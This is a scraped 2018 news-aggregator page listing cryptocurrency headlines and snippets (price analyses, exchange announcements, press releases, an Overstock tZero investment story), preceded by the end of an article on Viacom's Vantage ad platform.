Viacom's expansion of Vantage should accelerate things.

"The way we think about it, this initiative is actually about having a broader impact on the industry," said Gordon.

Perhaps. But many big media giants have also built out divisions centered on helping brands find unique audiences on their onw networks.

NBCUniversal has its own solution. So does Discovery and Turner.

And of course, Turner's new owner, AT&T is planning to build its own mega TV ad platform, and wants the whole ad industry to join in. It all makes for a complicated playing field.  And ad buyers generally don't want nine different ways of buying TV ads.

Still, Gordon sees Vantage as being complimentary and flexible. He says Viacom has invested in data scientists, engineers, and product people at a level that not every traditional media company has.

When asked about AT&T's plans, Gordon declined to speculate.

"Our focus is very much about our proven capabilities," he said. "We ccontinue to see a significant increase in demand."

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          Cryptos are suffering this summer, September could be better      Cache   Translate Page   Web Page Cache   

Cryptocurrencies have been hit hard by yet another delay of a decision on a Bitcoin ETF. A delay does not mean a rejection, and there are now two more critical dates to watch. An upwards move could start ahead of these dates. Ethereum was struggling with $400, and now the ETH/USD is around $350. Ripple, [...]

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          Cryptos Becomes Real: 45% Of IPOs Were ICOs In Q2 2018      Cache   Translate Page   Web Page Cache   

Cryptocurrencies become a new threat on the evolving Wall Street marketplace. Latest reports from the Q2 in 2018 show that the entire 45% of the IPOS were ICOs. Although relatively new on the investment scene, with modest three years of existence, cryptocurrency capital market is leading in the raised capital ...

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          The Future of Cryptocurrency      Cache   Translate Page   Web Page Cache   
A UCF graduate, a group of students, and a first-of-its kind master’s program could help change the way we look at money.
          Cryptocurrencies to Constitute 5% of US Investment Pool in 2019 : Survey      Cache   Translate Page   Web Page Cache   

Traditional investments such as real estate, stocks and government bonds may still be favorites among U.S. investors but crypto is not to be underestimated as it attracted nearly as much interest as ETFs. According to a survey done by The Harris Poll o...

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          Bitcoin Trading Platform BitMEX Hits 1 Million BTC in Daily Volume [Again]      Cache   Translate Page   Web Page Cache   

Bitcoin investors might be suffering under the weight of one of the asset’s heaviest-ever bear markets, but for cryptocurrency derivatives exchanges like BitMEX, the mood is anything but sour. “What market downturn?,” began a press release sent from a ...

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          Yale Economists Share Strategies to Strongly Forecast Bitcoin Returns      Cache   Translate Page   Web Page Cache   

At the time when the cryptocurrency industry has recorded a loss of more than $30 billion, two Yale economists believe traders can strongly forecast the volatile market using “potential predictors for cryptocurrency returns.” Aleh Tsyvinski...

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          ShapeShift to Add Multi-Crypto Swapping Tool to Its Exchange Platform      Cache   Translate Page   Web Page Cache   

On August 8, 2018, ShapeShiftAG, the parent company of ShapeShift.io, one of the world's largest decentralized cryptocurrency exchanges, announced its acquisition of Bitfract, a blockchain software startup based ...

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          Bad Timing: ‘Thousand-Year Cryptocurrency’ Metronome Blames Bear Market After Pedestrian ICO      Cache   Translate Page   Web Page Cache   

Bad timing and a less than spectacular user experience — that’s what cryptocurrency startup Bloq says is to blame for the pedestrian $12 million raised through the metronome (MTN) initial supply auction (ISA), referred to by nearly everyone but t...

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          In Bid To Save Local Journalism, New Project Aims To Replace Billionaires With Cryptocurrency      Cache   Translate Page   Web Page Cache   
The Denver Post wasn’t dying, says Larry Ryckman; it was being murdered. “We were under attack by our own owners,” says Ryckman , who was until recently senior editor of news at the newspaper.
          XRP Bitcoin (BTC) Price Analysis: The Jigsaw Puzzle      Cache   Translate Page   Web Page Cache   
A Blue Ocean For TRON (TRX)

While the action across the cryptocurrency complex has been pervasive to the downside over the past 10 days, the picture that has been created on the charts varies powerfully from coin to coin in terms of where this leg of the trend fits into the jigsaw puzzle of the larger pattern characterizing the bear market […]

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          This Cryptocurrency Data Site Lists Coins by Fair Market Value      Cache   Translate Page   Web Page Cache   

When people look at the fiat value of cryptocurrencies they usually observe prices from data sites like Coinmarketcap.com that pull aggregated digital asset spot prices from exchanges all across the world. Now there’s another market capitalization website that people may be interested in, called Coinfairvalue.com, a platform that’s a touch different than the normal data […]

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          Stellar (XLM) Litecoin (LTC) Price Analysis: The Rhythm of the Bear      Cache   Translate Page   Web Page Cache   
A Blue Ocean For TRON (TRX)

Support levels can be extremely important. They are essential when they hold, but they are almost more important when they don’t. As we take a look at Stellar (XLM) and Litecoin (LTC), you will note this idea very much in effect on these charts. Stellar (XLM) Price Analysis High: $0.20351 Low: $0.19719 24-Hour Volume: $66.95M […]

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          Blockchain-Based IPO-Access Startup Platform Cornucopia Announce Onboarding of Chief Market Strategist Joe Cammarata      Cache   Translate Page   Web Page Cache   

Bitcoin Press Release: Cornucopia, a blockchain startup providing crypto investors with access to pre-IPO shares of their favourite startups adds tZeros Joe Cammarata to their capable executive team. August 9th, 2018, Tortola, British Virgin Islands – Cornucopia is proud to announce that tZero’s Joe Cammarata has joined the company as Chief Market Strategist. Joe will […]

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          IOTA Cardano (ADA) Price Analysis: Waves and Patterns      Cache   Translate Page   Web Page Cache   
A Blue Ocean For TRON (TRX)

When we presented our analysis last week, we suggested that some coins were more technically vulnerable while others would be tough to break down. The two coins we have on tap for today’s analysis – IOTA and Cardano (ADA) – represent one of each of these classes. But, as many long-time HODLers know, when it […]

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          Decentralized Internet – Affordable Resources And Privacy On The Web      Cache   Translate Page   Web Page Cache   

You’ve heard a lot about decentralization lately, but what exactly is decentralized internet? And what do people want when they seek it? The internet comprises a network of networks, and if one piece fails, the internet as a whole still continues to function. You may have experienced times when you could not log into your internet […]

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          Bitcoiners Losing Faith in Twitter Inspire an Exodus to Mastodon      Cache   Translate Page   Web Page Cache   

It’s no secret that a growing number of Bitcoiners are unhappy with Twitter. A mix of perceived censorship through shadow banning and lack of serious action being taken by the platform to remove the notorious ether giveaway bots have aggravated calls for a decentralized alternative to the existing social media goliath. Although members of the […]

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          Fly to the Moon and Score Goals With Bitcoins on OneHash      Cache   Translate Page   Web Page Cache   

Bitcoin Press Release: OneHash, the fastest-growing mutual betting platform has released its new gaming products – Moon and Goals, which allow players to engage and win bitcoins in ways that the industry has yet to see. 9th August, 2018. Willemstad, Curacao. New products were built and released with the purpose to create a new quality […]

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          Crypto Lender SALT Now Available in 35 States      Cache   Translate Page   Web Page Cache   

SALT, one of the earliest cryptocurrency-backed lending providers in the space, announced this week it was expanding into 20 more states in the US, bringing its total market penetration to 35, including Washington DC, across America. And while that number is impressive on its own, SALT accomplished this during an extended bear market. Also read: […]

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          NFA Announces Set of New Disclosure Requirements for Virtual Currencies      Cache   Translate Page   Web Page Cache   
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          ShapeShift to Add Multi-Crypto Swapping Tool to Its Exchange Platform      Cache   Translate Page   Web Page Cache   

On August 8, 2018, ShapeShiftAG, the parent company of ShapeShift.io, one of the world’s largest decentralized cryptocurrency exchanges, announced its acquisition of Bitfract, a blockchain software startup based in Austin, Texas. Bitfract’s crypto trading tool allows users to swap bitcoin for a basket of cryptocurrencies within a single transaction. Speaking to Bitcoin Magazine, ShapeShift founder […]

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          Exmo Partners with Mistertango to Enable Deposit and Withdrawal of Euros      Cache   Translate Page   Web Page Cache   
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          Bitcoin (BTC) Technical Analysis: Bear Continues To Wreck Havoc      Cache   Translate Page   Web Page Cache   
A Blue Ocean For TRON (TRX)

After a solid countertrend rally in July, which we anticipated and readied readers attention to of Global Coin Report, where Bitcoin generated a nearly 50% return for those whom participated in the move as well as reaching our noted measured move price objective in the 7800-8000 zone, BTC has since found the footing slippery and as […]

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          Age of Rust Adopts Enjin Coin with Plans to Create First Blockchain-Based P2P In-Game Rental Market      Cache   Translate Page   Web Page Cache   
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SpacePirate Games, creators of Age of Rust, a picturesque role-playing adventure game, has announced their adoption of Enjin Coin’s platform to create and manage in-game ERC-1155 tokens. Featuring more than 650,000m2of in-game landscape to explore, Age of Rust implements creative challenges and puzzles with a prize pool of over 24 Bitcoin (BTC) hidden throughout the […]

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          BitMEX Hits Industry Record of 1 Million Bitcoin Daily Turnover for Second Time      Cache   Translate Page   Web Page Cache   

Global crypto trading platform launches two innovative financial products to meet community demand Seychelles — August 9, 2018 — BitMEX, one of the world’s leading crypto-coin trading platforms, has, for the second time, met its own industry record for daily bitcoin trading volume. The 24-hour trading period of August 8 saw 1,027,214.62 bitcoin traded on […]

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          Tron (TRX) Ethereum Classic (ETC) Price Analysis: Sowing the Seeds of Opportunity      Cache   Translate Page   Web Page Cache   
A Blue Ocean For TRON (TRX)

It’s tough to argue with the statement that the past 48 hours has represented some of the most brutal selling that we’ve seen in the cryptocurrency complex in months. The picture that has been created varies from coin to coin, with some holding up relatively well and others getting absolutely pummeled. Eventually, this is how […]

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          Crypto Market Drops Again After SEC Delays Bitcoin ETF Decision      Cache   Translate Page   Web Page Cache   
A Blue Ocean For TRON (TRX)

After an optimistic growth that cryptos have been experiencing on several occasions in the last few weeks, a massive drop has hit the crypto market following the Bitcoin ETF delay from the SEC. Bitcoin leads a new value drop A recent price surge that was seen at the end of July has been canceled by […]

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          Blockchain Data Now Has Legal Bearing in the State of Ohio      Cache   Translate Page   Web Page Cache   

Governor John Kasich from the Midwestern state of Ohio signed a bill this week that formally recognizes data recorded on a blockchain and electronic signatures as having legal bearing in a court of law. The state joins Vermont and Arizona, two states that have already passed laws that recognize blockchain-based transactions. Also read: Philippines Building Crypto […]

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          Buying on the Dip: Why Stellar Lumens Price Drop Has Created an Interesting Opening      Cache   Translate Page   Web Page Cache   

The price of Stellar Lumens (XLM) looks to be running out of fuel this month. Tracking the XLM price live throughout August, the USD value has dropped by more than 10%. As the market fired up on August 9, the Stellar Lumens price in dollars was down to a paltry $0.20. However, despite the marked […]

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          Ether Capital Hiring Ethereum Experts Shows Why Cryptos Are No Longer Disruptive      Cache   Translate Page   Web Page Cache   

Another bridge between the crypto and investment worlds has been built, this time by the Toronto-based firm, Ether Capital Corporation. Spearheaded by CEO Brian Mosoff, the investment company is vying to become the go-to resource for project funding within the Ethereum ecosystem. In line with its overarching goals, Ether Capital has just announced the acquisition […]

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          A Beginner’s Guide to Investing in the Stock Market      Cache   Translate Page   Web Page Cache   

If you take a look at the vast majority of today’s wealthiest people earned their fortune by investing in the stock market. And in fact, knowing which stocks to buy now has proven that investing in stocks is one of the top ways for a person to build wealth over the long run. Sounds good […]

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          $1 Billion in Profits and 3 More Reasons to Ditch Bitcoin (BTC) for Binance Coin (BNB)      Cache   Translate Page   Web Page Cache   
A Blue Ocean For TRON (TRX)

Truth be told, Bitcoin (BTC) is the safest cryptocurrency investment option out there. The digital asset has even been crowned King due to the simple fact that the crypto markets usually respond in tandem with the general action of BTC. Evidence of this is the recently delayed Bitcoin ETF announcement by the SEC that has […]

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          ETERBASE to Pre-List 30 Cryptocurrencies Projects      Cache   Translate Page   Web Page Cache   
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Europe’s premier digital asset exchange, ETERBASE, has announced it will pre-list 30 cryptocurrency projects for release on its new cryptocurrency exchange. ETERBASE, which is headquartered in Liechtenstein, is providing digital exchange services and will allow for digital asset trading across 31 European countries. Projects which are selected to be pre-listed on the ETERBASE exchange will […]

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          Here Is Why Shorting XRP, LTC, TRX, ADA and more in a Bearish Market is Looking Attractive      Cache   Translate Page   Web Page Cache   
A Blue Ocean For TRON (TRX)

A while back, when many of us were noobs in crypto trading, we believed that buying and HODLing was the proverbial greatest invention since sliced bread. But when our XRP, Litecoin (LTC), Ethereum (ETH), Bitcoin (BTC) and the rest started declining in the markets back in January, we started reading up on charts and how […]

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          CryTrEx.com Platform Taking the Cryptocurrency Exchange Market By Storm      Cache   Translate Page   Web Page Cache   

Bitcoin Press Release: Since its launch on the 3th of August, 2018, the CryTrEx.com decentralized crypto exchange has been a very effective platform for secure and effortless buying and selling of cryptocurrencies. August 9th, 2018, Italy – Cryptocurrencies are gaining a lot in popularity and little by little they have transformed from innovation into assets. […]

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          Binance Offers First Look At Planned Decentralized Crypto Exchange      Cache   Translate Page   Web Page Cache   
Cryptocurrency exchange Binance unveiled the platform's first look at its upcoming decentralized exchange (DEX) on Thursday.
          Blockchain Research Institute Report Calls for Crypto Regulation Clarity      Cache   Translate Page   Web Page Cache   
Recently, BRI published a report authored by Tapscott recounting the takeaways from a roundtable discussion held in May on cryptocurrency regulation.
          Blockchain Data Centers Growing Potential Becoming Lifeblood for Cryptomining Operations      Cache   Translate Page   Web Page Cache   
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          Bitcoin Suffers from ‘Week of Pain,’ Bounce Ahead?      Cache   Translate Page   Web Page Cache   
Bitcoin has had a rough week. Although the world’s largest cryptocurrency is up nearly 3 percent today, it’s plunged nearly 13 percent over the last week. Jim Iuorio and Brian Stutland, traders at Futures Now, joined CNBC’s Jackie DeAngelis to share their outlook on Bitcoin’s price. “It’s due for a bounce,” said Iuorio. “If it [...]
          Explaining Multi-Cryptocurrency Payment Gateways      Cache   Translate Page   Web Page Cache   
A general misconception with digital currency, which also creates confusion amongst the population, is that cryptocurrencies transactions are not easy, and are usually difficult to process and much more difficult to understand. The misunderstanding of such notions can be cleared by the awareness of Cryptocurrency exchanges, Cryptocurrency Wallets, and Multi-Cryptocurrency Payment Gateways. Payment Gateways- Business Model Before you get into the mode of understanding- multi-Cryptocurrency payment gateways you should be aware of what are Payment Gateways? They are on-line pages which capture the data of payment instrument between a merchant and consumer. They are usually the checkout pages, for such transactions, and capture the data in encrypted form and pass it to the payment processor. The processor, in turn, verifies or authenticates it and does the settlement of funds. You may come across various Payment Gateways like- APIs Like- Coinbase, which can be embedded in the client s website.
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          Bitcoin analysis for August 09, 2018      Cache   Translate Page   Web Page Cache   

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Trading recommendations:

According to the 30M time frame, I found selling climax in the background, which signs that strength. I also found a successful testing of supply on low volume, which is another sign of strength. My advice is to watch for potential buying opportunities. The upward targets are set at the price of $6.479 and at the price of $6.722.

Support/Resistance

$6.322 – Intraday resistance

$6.092– Intraday support

$6.479 – Objective target 1

$6.722 – Objective target 2

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          Love Crypto? Let’s Go Party at CRYPTOPARTY Event in Kiev on August 17 – Cryptovest      Cache   Translate Page   Web Page Cache   
CryptovestCRYPTOPARTY is bringing a new format to blockchain and cryptocurrency events, and is all set to rock it on August 17, in Kiev, Ukraine. author by News Desk, Just Now. Subscribe. articleStartImage. CRYPTOPARTY is poised to become the hottest crypto … …read more Source:: Kiev News By Google News
          3 câu chuyện cryptocurrency mà bạn không thể tin được là sự thật      Cache   Translate Page   Web Page Cache   

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          State-sponsored ransomware campaigns coming? DarkHydrus and Phishery. Hitting ATMs for alt-coin. US sanctions Russia. IBM looks at artificially intelligent malware. Black Hat notes.       Cache   Translate Page   Web Page Cache   

In today's podcast we hear that Tehran seems ready to follow Pyongyang into state-sponsored theft to redress financial shortfalls: cryptocurrency ransomware looks like Iran's preferred approach. DarkHydrus uses commodity tool Phishery in Middle Eastern campaign. Jackpotting cryptocurrency ATMs. The US imposes sanctions on Russia. Reality Winner's sentencing date announced. IBM looks at artificially intelligent malware. The mob's role in the cyber black market. What's the bigger gaming threat, sideloading apps or the Fortnite dance? We're asking for a friend. Awais Rashid from Bristol University on issues with software warranties. Guest is Cheryl Biswas from the Diana Initiative, a conference in Las Vegas celebrating diversity, women in security, and how to pursue a career in information security and technology. 


          ShapeShift Can Now Swap Bitcoin Into Other Cryptos With One Click      Cache   Translate Page   Web Page Cache   

The exchange platform ShapeShift AG has acquired a software startup famous for a tool enabling the effortless diversification of cryptocurrency portfolios.

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          Stellar (XLM) Price Analysis: Trends of August 9-15, 2018)      Cache   Translate Page   Web Page Cache   

Stellar has been engaged in continual bearish movements, owing to fundamentals that aid the current bearish outlook; the cryptocurrency made some faint bullish effort that was often followed by further drop in the market.

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          ETERBASE to Offer Pre-Listing on its New Cryptocurrency Exchange      Cache   Translate Page   Web Page Cache   

Europe’s top digital asset exchange, ETERBASE, has initiated an application process to select 30 projects for pre-listing, allowing them to become early adopters of the platform upon its launch later this year.

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          Comment on Should I Invest in Bitcoin in 2018? Here are 4 Things You Have to Know by Steven Hay      Cache   Translate Page   Web Page Cache   
Hi Jase, Glad you found it helpful. The best way to track cryptocurrency moves are sites like CoinGecko.com or CoinMarketCap.com - they'll show you a big, search list of all the coins. You can also create watchlists, which only display the coins you select.
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          Comment on Who Accepts Bitcoins As Payment? List of Companies, Stores, Shops by MAC Materials      Cache   Translate Page   Web Page Cache   
New and used manufacturing equipment company based in the US accepts cryptocurrencies (bitcoin, ethereum, litecoin, and more). Sells overseas also. https://www.macmaterials.com/
          Comment on Who Accepts Bitcoins As Payment? List of Companies, Stores, Shops by Christopher Jacquez      Cache   Translate Page   Web Page Cache   
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          Overstock.com Soars After Its Blockchain Sub Gets PE Investment At $1.5BN Valuation      Cache   Translate Page   Web Page Cache   

Online retailer Overstock reported results which, unlike its much more famous and infinitely bigger online retailing peer Amazon, were nothing special: the company reported Q2 revenues of $483 million, generating a net loss for the quarter of $2.20 on a gross margin of 19% in the quarter.

But the company's earnings were not the reason why OSTK shares soared as much as 25% after hours: the reason was the surprising announcement by the company that Hong Kong-based private-equity firm GSR Capital had agreed to invest as much as $375 MM in exchange for equity in the retailer and, more importantly, its tZero blockchain subsidiary, which as a reminder capitalized on the cryptocurrency craze in late 2017 and concluded an Initial Coin Offering on December 18, 2017, almost to the day when Bitcoin hit an all time high of just under $20,000.

As Overstock announced in its press release, GSR agreed to:

  • i) buy $30MM in tZero tokens,
  • ii) buy up to 3.1MM shares of OSTK for $104 million (a 5% discount to the Aug. 1 closing price of $33.72),
  • iii) invest as much as $270MM for up to 18% of tZero’s equity at a whopping post-money valuation of $1.5 Billion.

And since Overstock's market cap as of Thursday's close was just over $1.1 billion, this means that with one term sheet, the company's tZero sub is suddenly worth more than the entire parent company. More importantly, the GSR transaction will boost the company's cash and equivalent holdings to over half a billion dollars.

Overstock.com CEO Patrick Byrne

Some more details from Byrne:

Having concluded its Security Token offering, tZERO has raised aggregate consideration of $134 million. This figured includes $30 million from repayment of intercompany debt between tZERO and Overstock. GSR has signed a repurchase agreement to acquire these tokens. As I will diagram in our earnings call, we have designed quite an ecosystem with a scale that matches the enormous opportunity in front of it. When GSR completes its planned investments, we should have over half-a-billion dollars. We believe this will provide ample capitalization with which to build a company that can upend global capital markets.

Back in December, when Overstock launched its tZero ICO, it said that it was hoping to raise at least $250 million - and as much as $500 million - "to build out a blockchain system that the firm said would allow it to create an exchange to trade blockchain-based assets, like ICOs." In the end it raised aggregated funds of just approximately $134 million, and today's transactions adds to that and enables CEO Patrick Byrne to pursue his Security Token ambitions.

As a result of the deal, OSTK stock has jumped and was trading as high as $46/share after hours.

Even with the surge however, the stock remains well below its highs hit in late 2017 and early 2018, when its share price more than doubled to a high of $86.90 in January, due to its blockchain investments rather than its online retailing activities, which have seen it categorised as a cryptocurrency "play."

Overstock has been one of the few retailers that has aggressively pursued cryptos as both a method of payment and as a means by which to grew the company with its own unique token. As we reported recently, following a burst of adoption of cryptos by various vendors, as the price of bitcoin has tumbled in 2018, so has the rate of adoption. Which is why Overstock's experiment with cryptos and tokens will be closely watched to determine if the digital currency has any chance of becoming useful in practice instead of just in theory.


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          OmiseGo Analysis – Descending triangle is still here      Cache   Translate Page   Web Page Cache   

Last piece today will be about the OmiseGo. Previously, we mentioned this coin on the 7th of June and we were bearish: “Actually, price getting there will be a good selling opportunity. We already tested this line on the 3rd of June and the second test, with a bearish price action, would be a marvellous […]

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          Stellar Lumens (XLM) Analysis – 11% rise does not change much      Cache   Translate Page   Web Page Cache   

Now time for the Lumens – XLM, which previously had a buy signal, after the price created an inverse head and shoulders formation and broke the neckline. Back on the 19th of July we wrote this: “Today, the price broke the blue resistance, which was important in May and beginning of June. As long as […]

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          ZCash Analysis – 8% up, do we have a buy signal?      Cache   Translate Page   Web Page Cache   

First analysis on Thursday is Zcash, which today is almost 8%. Does that upswing change anything? Was that optimism expected? For the last time, we analysed the Zcash on the 17th of July and we were seeing a potential for a bullish correction but only one condition: „Currently, the price is trying to create the […]

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